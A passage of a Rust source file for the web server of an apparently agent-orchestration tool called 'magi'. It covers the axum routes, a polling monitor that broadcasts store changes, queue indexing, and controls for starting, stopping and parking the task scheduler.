1#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85#[cfg(test)]
86use std::pin::Pin;
87use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
88use std::time::Duration;
89use tokio::sync::Notify;
90
91use anyhow::{Context, Result};
92use axum::Json;
93use axum::Router;
94use axum::body::Bytes;
95use axum::extract::rejection::JsonRejection;
96use axum::extract::{DefaultBodyLimit, Path, Query, State};
97use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
98use axum::response::sse::{Event, KeepAlive, Sse};
99use axum::response::{IntoResponse, Response};
100use axum::routing::{get, post, put};
101use jiff::Timestamp;
102use serde::{Deserialize, Serialize};
103use tokio_stream::StreamExt as _;
104use tokio_stream::wrappers::ReceiverStream;
105
106use crate::agent;
107use crate::ask::{self, Answer, Question, Questions};
108use crate::config::{AgentKind, Config, Update, UpdateMode};
109use crate::md;
110use crate::notices::{Notice, Notices};
111use crate::persona;
112use crate::persona_icon;
113use crate::proc::Quiet as _;
114use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
115use crate::run::{RunState, RunStatus};
116use crate::talk::{Talk, Talks};
117use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
118
119pub const DEFAULT_PORT: u16 = 7878;
121
122const POLL: Duration = Duration::from_secs(1);
124
125const KEEPALIVE: Duration = Duration::from_secs(15);
129
130const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
141
142const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
145
146const LIST_DEFAULT: usize = 50;
150const LIST_MAX: usize = 500;
152
153const TITLE_MAX: usize = 72;
155
156const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
165
166const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
172
173const FILENAME_HEADER: &str = "x-filename";
177
178const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
201 font-src data:; base-uri 'none'; form-action 'none'; \
202 frame-ancestors 'self'";
203
204const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
205const APP_CSS: &str = include_str!("../assets/ui/app.css");
206const APP_JS: &str = include_str!("../assets/ui/app.js");
207
208#[derive(Debug, Clone, Copy, PartialEq, Eq)]
210pub enum Bind {
211 Auto,
213 Addr(IpAddr),
215}
216
217impl std::str::FromStr for Bind {
218 type Err = String;
219
220 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
224 if s.eq_ignore_ascii_case("auto") {
225 return Ok(Self::Auto);
226 }
227 s.parse()
228 .map(Self::Addr)
229 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
230 }
231}
232
233impl std::fmt::Display for Bind {
234 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
235 match self {
236 Self::Auto => f.write_str("auto"),
237 Self::Addr(addr) => write!(f, "{addr}"),
238 }
239 }
240}
241
242#[derive(Debug, Clone)]
244pub struct Opts {
245 pub bind: Bind,
247 pub port: u16,
249 pub repo: PathBuf,
251 pub open: bool,
254 pub merge: Option<String>,
260}
261
262impl Default for Opts {
263 fn default() -> Self {
264 Self {
265 bind: Bind::Auto,
266 port: DEFAULT_PORT,
267 repo: PathBuf::from("."),
268 open: false,
269 merge: None,
270 }
271 }
272}
273
274mod id_links;
275
276type Stamps = HashMap<String, (u128, u64)>;
277
278fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
280 try_store_stamps(root, runs).unwrap_or_default()
281}
282
283fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
284 try_stamps(root, runs, false)
285}
286
287fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
288 use std::hash::{Hash as _, Hasher as _};
289 let entries = match std::fs::read_dir(root) {
290 Ok(entries) => entries,
291 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
292 Err(e) => return Err(e),
293 };
294 let mut stamps = HashMap::new();
295 for entry in entries {
296 let entry = entry?;
297 let path = if runs {
298 entry.path().join("run.json")
299 } else {
300 entry.path()
301 };
302 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
303 continue;
304 }
305 let identity = match file_identity(&path) {
306 Ok(identity) => identity,
307 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
308 Err(e) => return Err(e),
309 };
310 let modified = identity
311 .modified
312 .duration_since(std::time::UNIX_EPOCH)
313 .unwrap_or_default();
314 let mut hasher = std::hash::DefaultHasher::new();
315 identity.hash(&mut hasher);
316 let id = if runs || all_entries {
317 entry.file_name().to_string_lossy().into_owned()
318 } else {
319 path.file_stem()
320 .unwrap_or_default()
321 .to_string_lossy()
322 .into_owned()
323 };
324 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
325 }
326 Ok(stamps)
327}
328
329#[derive(Debug, Serialize)]
330struct Delta {
331 base: u64,
332 changed: Vec<String>,
333 removed: Vec<String>,
334}
335
336fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
337 let mut changed: Vec<_> = next
338 .iter()
339 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
340 .map(|(id, _)| id.clone())
341 .collect();
342 let mut removed: Vec<_> = previous
343 .keys()
344 .filter(|id| !next.contains_key(*id))
345 .cloned()
346 .collect();
347 changed.sort_unstable();
348 removed.sort_unstable();
349 Delta {
350 base,
351 changed,
352 removed,
353 }
354}
355
356#[cfg(test)]
358fn runs_revision(runs: &FsPath) -> u64 {
359 stamps_revision(&store_stamps(runs, true))
360}
361
362fn stamps_revision(stamps: &Stamps) -> u64 {
366 use std::hash::{Hash as _, Hasher as _};
367 if stamps.is_empty() {
368 return 0;
369 }
370 let mut entries: Vec<_> = stamps.iter().collect();
371 entries.sort_unstable();
372 let mut hasher = std::hash::DefaultHasher::new();
373 entries.hash(&mut hasher);
374 hasher.finish().max(1)
375}
376
377#[derive(Clone, Debug)]
378pub(crate) struct ChangeNotification {
379 pub payload: serde_json::Value,
380}
381
382#[derive(Default, Debug)]
383pub(crate) struct QueueIndex {
384 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
386 #[cfg(test)]
387 reparsed: usize,
388}
389
390#[derive(Clone, Debug)]
391struct TaskRelation {
392 id: String,
393 status: Option<crate::queue::TaskStatus>,
394 priority: i32,
395 runs: Vec<String>,
396 source: Source,
397 chat: Option<String>,
398}
399
400impl From<Task> for TaskRelation {
401 fn from(task: Task) -> Self {
402 Self {
403 id: task.id,
404 status: Some(task.status),
405 priority: task.priority,
406 runs: task.runs,
407 source: task.source,
408 chat: task.chat,
409 }
410 }
411}
412
413#[derive(Debug, PartialEq, Eq, Hash)]
414struct FileIdentity {
415 modified: std::time::SystemTime,
416 len: u64,
417 #[cfg(unix)]
418 identity: (u64, u64, i64, i64),
419}
420
421fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
422 let meta = path.metadata()?;
423 Ok(FileIdentity {
424 modified: meta.modified()?,
425 len: meta.len(),
426 #[cfg(unix)]
427 identity: {
428 use std::os::unix::fs::MetadataExt as _;
429 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
430 },
431 })
432}
433
434type Revisions = (u64, u64, u64, u64, u64, u64);
435type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
436
437#[derive(Debug)]
438pub(crate) struct SharedMonitor {
439 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
440 pub latest: Arc<Mutex<MonitorSnapshot>>,
441 pub worker_started: std::sync::atomic::AtomicBool,
442 pub queue_index: Arc<Mutex<QueueIndex>>,
443 list_walks: Mutex<Vec<ListWalk>>,
444}
445
446fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
448 let (mut rev, mut stamps) = previous.unwrap_or_default();
449 for (index, root, runs) in [
450 (0, ui.queue.root(), false),
451 (1, ui.runs.as_path(), true),
452 (2, ui.talks.root(), false),
453 ] {
454 if let Ok(next) = try_store_stamps(root, runs) {
455 let value = stamps_revision(&next);
456 match index {
457 0 => rev.0 = value,
458 1 => rev.1 = value,
459 _ => rev.3 = value,
460 }
461 stamps[index] = next;
462 }
463 }
464 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
465 rev.2 = stamps_revision(&next);
466 }
467 if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
468 rev.4 = stamps_revision(&next);
469 }
470 rev.5 = ui.lock_loop().rev;
471 (rev, stamps)
472}
473
474impl SharedMonitor {
475 pub fn new() -> Self {
476 let (tx, _) = tokio::sync::broadcast::channel(64);
477 Self {
478 broadcaster: tx,
479 latest: Arc::default(),
480 worker_started: std::sync::atomic::AtomicBool::new(false),
481 queue_index: Arc::default(),
482 list_walks: Mutex::default(),
483 }
484 }
485
486 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
487 let mut receiver = self.broadcaster.subscribe();
488 self.ensure_worker(ui);
489 loop {
490 if let Some((revisions, _)) = self
491 .latest
492 .lock()
493 .unwrap_or_else(PoisonError::into_inner)
494 .as_ref()
495 {
496 return Ok(*revisions);
497 }
498 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
499 .await
500 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
501 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
502 }
503 }
504
505 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
506 if self
507 .worker_started
508 .compare_exchange(
509 false,
510 true,
511 std::sync::atomic::Ordering::SeqCst,
512 std::sync::atomic::Ordering::SeqCst,
513 )
514 .is_err()
515 {
516 return;
517 }
518
519 let weak_ui = Arc::downgrade(ui);
520 tokio::spawn(async move {
521 let mut ticker = tokio::time::interval(POLL);
522 loop {
523 ticker.tick().await;
524 let Some(ui) = weak_ui.upgrade() else {
525 break;
526 };
527
528 let previous = ui
529 .monitor
530 .latest
531 .lock()
532 .unwrap_or_else(PoisonError::into_inner)
533 .clone();
534 let state = Arc::clone(&ui);
535 let scan =
536 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
537
538 ticker.reset();
540 let Ok((revisions, next_stamps)) = scan else {
541 continue;
542 };
543
544 let mut latest_guard = match ui.monitor.latest.lock() {
545 Ok(g) => g,
546 Err(p) => p.into_inner(),
547 };
548
549 let previous = latest_guard.take();
550 let (last_rev, prev_stamps) = match previous {
551 Some((r, s)) => (Some(r), Some(s)),
552 None => (None, None),
553 };
554
555 if last_rev == Some(revisions) {
556 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
557 continue;
558 }
559
560 let mut payload = serde_json::json!({
561 "queue_rev": revisions.0,
562 "runs_rev": revisions.1,
563 "questions_rev": revisions.2,
564 "talks_rev": revisions.3,
565 "notifications_rev": revisions.4,
566 "loop_rev": revisions.5,
567 });
568
569 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
570 for (index, (key, rev)) in [
571 ("queue_delta", base.0),
572 ("runs_delta", base.1),
573 ("talks_delta", base.3),
574 ]
575 .into_iter()
576 .enumerate()
577 {
578 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
579 if delta.changed.len() + delta.removed.len() > 0
580 && delta.changed.len() <= 50
581 {
582 payload[key] = serde_json::to_value(delta).expect("serializable delta");
583 }
584 }
585 }
586
587 *latest_guard = Some((revisions, next_stamps));
588 drop(latest_guard);
589
590 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
591 }
592 });
593 }
594}
595
596#[derive(Debug, Clone)]
602pub struct Ui {
603 queue: Queue,
604 questions: Questions,
605 notices: Notices,
608 talks: Talks,
609 runs: PathBuf,
610 references: Arc<id_links::IndexCache>,
611 home: PathBuf,
612 repo: PathBuf,
613 worktrees_root: PathBuf,
620 talk_turns: Arc<Mutex<TalkTurns>>,
628 admissions: Arc<tokio::sync::RwLock<bool>>,
631 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
635 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
638 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
640 resuming: Arc<Mutex<HashSet<String>>>,
648 repos_cache: repos::Cache,
652 machine_config: Option<PathBuf>,
656 merge: Option<String>,
658 looping: Arc<Mutex<LoopState>>,
660 #[cfg(test)]
662 launch: Launch,
663 #[cfg(test)]
666 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
667 pub(crate) monitor: Arc<SharedMonitor>,
668}
669
670type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
671
672#[cfg(test)]
692struct BusyQueueGate {
693 reached: tokio::sync::oneshot::Sender<()>,
694 release: std::sync::mpsc::Receiver<()>,
695}
696
697#[cfg(test)]
698impl std::fmt::Debug for BusyQueueGate {
699 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
700 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
701 }
702}
703
704impl Ui {
705 pub fn new(
707 queue: Queue,
708 questions: Questions,
709 talks: Talks,
710 runs: PathBuf,
711 home: PathBuf,
712 repo: PathBuf,
713 ) -> Self {
714 Self {
715 queue,
716 questions,
717 notices: Notices::at(home.join("notifications")),
718 talks,
719 runs,
720 references: Arc::default(),
721 home,
722 repo,
723 worktrees_root: run::default_worktree_root(),
727 talk_turns: Arc::default(),
728 admissions: Arc::default(),
729 upgrade_gate: Arc::default(),
730 upgrade_spawned: Arc::default(),
731 upgrade_request_error: Arc::default(),
732 resuming: Arc::default(),
733 repos_cache: repos::Cache::new(),
734 machine_config: Config::machine_layer(),
735 merge: None,
736 looping: Arc::default(),
737 #[cfg(test)]
738 launch: launch_daemon,
739 #[cfg(test)]
740 busy_queue_gate: Arc::default(),
741 monitor: Arc::new(SharedMonitor::new()),
742 }
743 }
744
745 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
748 let mut index = self
749 .monitor
750 .queue_index
751 .lock()
752 .unwrap_or_else(PoisonError::into_inner);
753 let entries = match std::fs::read_dir(self.queue.root()) {
754 Ok(entries) => entries,
755 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
756 index.records.clear();
757 return Ok(Vec::new());
758 }
759 Err(e) => return Err(anyhow::Error::from(e).into()),
760 };
761 let mut seen = HashSet::new();
762 for entry in entries {
763 let path = entry.map_err(anyhow::Error::from)?.path();
764 if path.extension().is_none_or(|ext| ext != "json") {
765 continue;
766 }
767 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
768 continue;
769 };
770 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
771 seen.insert(id.to_owned());
772 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
775 let Ok(task) = self.queue.get(id) else {
776 if let Some((_, record)) = index.records.get_mut(id) {
782 Arc::make_mut(record).status = None;
783 }
784 continue;
785 };
786 #[cfg(test)]
787 {
788 index.reparsed += 1;
789 }
790 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
791 return Err(ApiError::conflict("Queue changed during read; retry"));
792 }
793 index
794 .records
795 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
796 }
797 }
798 index.records.retain(|id, _| seen.contains(id));
799 let mut tasks: Vec<_> = index
800 .records
801 .values()
802 .map(|(_, task)| task.clone())
803 .collect();
804 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
805 Ok(tasks)
806 }
807
808 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
809 let Some(record) = self
810 .indexed_tasks()?
811 .into_iter()
812 .find(|task| task.runs.iter().any(|id| id == run_id))
813 else {
814 return Ok(None);
815 };
816 let task = self.queue.get(&record.id)?;
817 if !task.runs.iter().any(|id| id == run_id) {
818 return Err(ApiError::conflict("Task relationship changed; retry"));
819 }
820 Ok(Some(task))
821 }
822
823 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
824 self.indexed_tasks()?
825 .into_iter()
826 .filter(|task| {
827 task.chat.as_deref() == Some(talk_id)
828 || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
829 })
830 .map(|record| {
831 let task = self.queue.get(&record.id)?;
832 if task.chat.as_deref() != Some(talk_id)
833 && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
834 {
835 return Err(ApiError::conflict("Task relationship changed; retry"));
836 }
837 Ok(task)
838 })
839 .collect()
840 }
841
842 pub fn open(repo: PathBuf) -> Self {
845 Self::new(
846 Queue::open(),
847 Questions::open(),
848 Talks::open(),
849 run::runs_root(),
850 run::home(),
851 repo,
852 )
853 }
854
855 #[must_use]
862 pub fn with_merge(mut self, merge: Option<String>) -> Self {
863 self.merge = merge;
864 self
865 }
866
867 #[cfg(test)]
870 #[must_use]
871 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
872 self.machine_config = path;
873 self
874 }
875
876 #[must_use]
881 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
882 self.worktrees_root = root;
883 self
884 }
885
886 #[cfg(test)]
891 #[must_use]
892 fn with_launch(mut self, launch: Launch) -> Self {
893 self.launch = launch;
894 self
895 }
896
897 #[cfg(test)]
907 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
908 *self
909 .busy_queue_gate
910 .lock()
911 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
912 }
913
914 fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
917 let guard = Arc::clone(&self.admissions)
918 .try_read_owned()
919 .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
920 if *guard {
921 return Err(ApiError::conflict(
922 "web restart in progress; retry this message",
923 ));
924 }
925 Ok(guard)
926 }
927
928 async fn start_detached_loop(&self) -> ApiResult<()> {
930 let reading = daemon::read_status(&self.home);
931 if let Some(other) = Foreign::of(reading.as_ref()) {
932 return Err(ApiError::conflict(format!(
933 "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
934 other.who()
935 )));
936 }
937 let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
938 let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
939 let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
940 || reading.is_some_and(|reading| {
941 reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
942 });
943 if control.is_some() && scheduler_running {
944 return Err(ApiError::conflict(
945 "the scheduler is still stopping; retry Start after it has stopped",
946 ));
947 }
948 if !jobs.iter().any(|job| job.kind == "scheduler") {
949 let available =
950 crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
951 if available.is_none() {
952 return Err(ApiError::conflict(
953 "the scheduler is still running or stopping; retry after its transition completes",
954 ));
955 }
956 drop(available);
957 }
958 let opts = daemon::Opts {
959 repo: self.repo.clone(),
960 merge: self.merge.clone(),
961 worktrees_root: Some(self.worktrees_root.clone()),
962 ..daemon::Opts::default()
963 };
964 daemon::spawn_detached(&self.home, &opts)
965 .await
966 .map_err(ApiError::from)?;
967 let mut state = self.lock_loop();
968 state.last_error = None;
969 state.rev += 1;
970 Ok(())
971 }
972
973 #[cfg(test)]
980 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
981 if let Some(other) = foreign {
982 return Err(ApiError::conflict(format!(
983 "{} is already running the loop, so this one will not start a \
984 second: two loops on one queue race for the same claims and \
985 burn the agent quota twice over. Stop it where it was \
986 started.",
987 other.who()
988 )));
989 }
990 let mut state = self.lock_loop();
991 if state.live.as_ref().is_some_and(Live::alive) {
992 return Err(ApiError::conflict(format!(
993 "this magi web process (pid {}) is already running the loop",
994 std::process::id()
995 )));
996 }
997
998 let stop = daemon::Stop::new();
999 let opts = daemon::Opts {
1003 repo: self.repo.clone(),
1004 merge: self.merge.clone(),
1005 worktrees_root: Some(self.worktrees_root.clone()),
1012 ..daemon::Opts::default()
1013 };
1014 let launch = self.launch;
1015 let looping = Arc::clone(&self.looping);
1016 let handle = tokio::spawn({
1017 let opts = opts.clone();
1018 let stop = stop.clone();
1019 async move {
1020 let failure = match launch(opts, stop).await {
1021 Ok(()) => None,
1022 Err(e) => Some(format!("{e:#}")),
1023 };
1024 match &failure {
1025 Some(why) => tracing::error!("the loop stopped: {why}"),
1026 None => tracing::info!("the loop stopped"),
1027 }
1028 let mut state = lock_or_recover(&looping);
1034 state.live = None;
1035 state.last_error = failure;
1036 state.rev += 1;
1037 }
1038 });
1039 tracing::info!(
1040 "the loop is now running in this process: repo {}, merge {}",
1041 opts.repo.display(),
1042 opts.merge.as_deref().unwrap_or("as the config says")
1043 );
1044 state.live = Some(Live { stop, handle, opts });
1045 state.last_error = None;
1048 state.rev += 1;
1049 Ok(())
1050 }
1051
1052 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1058 if let Some(other) = foreign {
1059 return Err(ApiError::conflict(format!(
1060 "the loop belongs to {}, and this process cannot stop it - \
1061 stop it where it was started. A button that silently did \
1062 nothing would be worse than this refusal.",
1063 other.who()
1064 )));
1065 }
1066 #[cfg(not(test))]
1067 {
1068 daemon::request_control(
1069 &self.home,
1070 if park {
1071 crate::worker::Control::Park
1072 } else {
1073 crate::worker::Control::Stop
1074 },
1075 )
1076 .map_err(ApiError::from)?;
1077 self.lock_loop().rev += 1;
1078 Ok(())
1079 }
1080 #[cfg(test)]
1081 {
1082 let mut state = self.lock_loop();
1083 let Some(live) = state.live.as_ref() else {
1084 return Ok(());
1085 };
1086 if live.stop.stopped() && (!park || live.stop.parking()) {
1090 return Ok(());
1091 }
1092 if park {
1093 live.stop.park(crate::run::ParkCause::Operator);
1094 tracing::info!(
1095 "the loop was asked to park; the run stops at its next node boundary"
1096 );
1097 } else {
1098 live.stop.stop();
1099 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1100 }
1101 state.rev += 1;
1102 Ok(())
1103 }
1104 }
1105
1106 #[cfg(not(test))]
1113 fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1114 let jobs = crate::worker::active(&self.home).map_err(|error| {
1115 ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1116 })?;
1117 Ok(self.runtime_loop_view(reading, &jobs))
1118 }
1119
1120 #[cfg(test)]
1121 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1122 let state = self.lock_loop();
1123 let live = state.live.as_ref().filter(|live| live.alive());
1126 LoopView {
1127 running: live.is_some(),
1128 stopping: live.is_some_and(|live| live.stop.finishing()),
1129 parking: live.is_some_and(|live| live.stop.parking()),
1130 owned: live.is_some(),
1131 repo: live
1132 .map_or(&self.repo, |live| &live.opts.repo)
1133 .display()
1134 .to_string(),
1135 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1136 last_error: state.last_error.clone(),
1137 daemon: DaemonView::of(reading),
1138 }
1139 }
1140
1141 fn runtime_loop_view(
1143 &self,
1144 reading: Option<daemon::Reading>,
1145 jobs: &[crate::worker::Job],
1146 ) -> LoopView {
1147 let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1148 let reporting = reading
1149 .as_ref()
1150 .is_some_and(|r| r.running(Timestamp::now()));
1151 let managed = scheduler.is_some()
1152 || (reporting
1153 && reading
1154 .as_ref()
1155 .is_some_and(|r| r.worker_protocol == Some(1)));
1156 let control = crate::worker::control(&self.home, "scheduler")
1157 .ok()
1158 .flatten();
1159 let persisted = if managed && scheduler.is_none() {
1162 std::fs::read(self.home.join("scheduler-options.json"))
1163 .ok()
1164 .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1165 } else {
1166 None
1167 };
1168 let repo = scheduler
1169 .and_then(|job| job.payload.get("repo"))
1170 .and_then(serde_json::Value::as_str)
1171 .map(str::to_owned)
1172 .or_else(|| {
1173 persisted
1174 .as_ref()
1175 .map(|opts| opts.repo.display().to_string())
1176 })
1177 .unwrap_or_else(|| self.repo.display().to_string());
1178 let merge = match scheduler {
1179 Some(job) => job
1180 .payload
1181 .get("merge")
1182 .and_then(serde_json::Value::as_str)
1183 .map(str::to_owned),
1184 None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1185 };
1186 LoopView {
1187 running: managed || reporting,
1188 stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1189 parking: matches!(control, Some(crate::worker::Control::Park))
1190 && jobs.iter().any(|job| job.kind == "task"),
1191 owned: managed,
1192 repo,
1193 merge,
1194 last_error: self.lock_loop().last_error.clone(),
1195 daemon: DaemonView::of(reading),
1196 }
1197 }
1198
1199 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1201 lock_or_recover(&self.looping)
1202 }
1203
1204 fn is_thinking(&self, id: &str) -> bool {
1206 self.talk_turns
1207 .lock()
1208 .is_ok_and(|turns| turns.live.contains(id))
1209 || self.talks.turn_held(id)
1212 || crate::consult::turn_worker_active(&self.talks, id)
1213 }
1214
1215 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1234 self.claim_talk_turn(id, false)
1235 }
1236
1237 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1240 self.claim_talk_turn(id, true)
1241 }
1242
1243 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1244 let mut live = self
1245 .talk_turns
1246 .lock()
1247 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1248 if crate::consult::turn_worker_active(&self.talks, id) {
1249 if queued {
1250 *live.queued.entry(id.to_owned()).or_default() += 1;
1251 }
1252 return Ok(None);
1253 }
1254 let inserted = live.live.insert(id.to_owned());
1255 let lease = if inserted {
1259 match self.talks.claim_turn(id) {
1260 Ok(Some(lease)) => Some(lease),
1261 Ok(None) => {
1262 live.live.remove(id);
1263 None
1264 }
1265 Err(e) => {
1266 live.live.remove(id);
1267 return Err(ApiError::from(e));
1268 }
1269 }
1270 } else {
1271 None
1272 };
1273 if lease.is_none() {
1274 if queued {
1275 *live.queued.entry(id.to_owned()).or_default() += 1;
1280 }
1281 return Ok(None);
1282 }
1283 Ok(Some(TalkTurnGuard {
1284 talk: id.to_owned(),
1285 turns: Arc::clone(&self.talk_turns),
1286 released: false,
1287 lease,
1288 }))
1289 }
1290
1291 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1296 let mut live = self
1297 .talk_turns
1298 .lock()
1299 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1300 if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1302 return Ok(TalkTurnStart::Busy);
1303 }
1304 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1305 return Ok(TalkTurnStart::Foreign);
1306 };
1307 let talk = self.talks.get(id).map_err(ApiError::from)?;
1309 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1310 return Ok(TalkTurnStart::Pending);
1311 }
1312 live.live.insert(id.to_owned());
1313 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1314 talk: id.to_owned(),
1315 turns: Arc::clone(&self.talk_turns),
1316 released: false,
1317 lease: Some(lease),
1318 }))
1319 }
1320
1321 fn queued_generation(&self, id: &str) -> u64 {
1322 let live = self
1323 .talk_turns
1324 .lock()
1325 .unwrap_or_else(PoisonError::into_inner);
1326 live.queued.get(id).copied().unwrap_or(0)
1327 }
1328
1329 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1333 let mut live = self
1334 .resuming
1335 .lock()
1336 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1337 if !live.insert(id.to_owned()) {
1338 return Err(ApiError::conflict(format!(
1339 "run {id} is already being resumed"
1340 )));
1341 }
1342 Ok(ResumeGuard {
1343 run: id.to_owned(),
1344 resuming: Arc::clone(&self.resuming),
1345 })
1346 }
1347
1348 pub fn router(self) -> Router {
1356 Router::new()
1357 .route("/", get(index))
1358 .route("/app.css", get(app_css))
1359 .route("/app.js", get(app_js))
1360 .route("/api/health", get(health))
1361 .route("/api/references", post(id_links::resolve_text))
1362 .route("/api/loop", get(loop_get).post(loop_post))
1363 .route("/api/upgrade", post(upgrade_post))
1364 .route("/api/runs", get(runs_list))
1365 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1366 .route("/api/runs/{id}/core", get(run_core))
1367 .route("/api/runs/{id}/report", get(run_report))
1368 .route("/api/runs/{id}/report.json", get(run_report_json))
1369 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1370 .route("/api/runs/{id}/fold", post(run_fold))
1371 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1372 .route("/api/runs/{id}/resume", post(run_resume))
1373 .route("/api/queue", get(queue_list))
1374 .route("/api/queue/page", get(queue_page))
1375 .route("/api/search", get(search_get))
1376 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1377 .route("/api/queue/{id}/core", get(task_core))
1378 .route("/api/stats", get(stats_get))
1379 .route("/api/stats/queue", get(stats_queue))
1380 .route("/api/repos", get(repos_list))
1381 .route("/api/settings", get(settings_get))
1382 .route("/api/settings/roles", put(settings_put_roles))
1383 .route("/api/queue/{id}/hold", post(queue_hold))
1384 .route("/api/queue/{id}/release", post(queue_release))
1385 .route("/api/queue/{id}/priority", post(queue_priority))
1386 .route("/api/queue/{id}/urgent", post(queue_urgent))
1387 .route("/api/queue/{id}/implementers", post(queue_implementers))
1388 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1389 .route("/api/queue/{id}/edit", post(queue_edit))
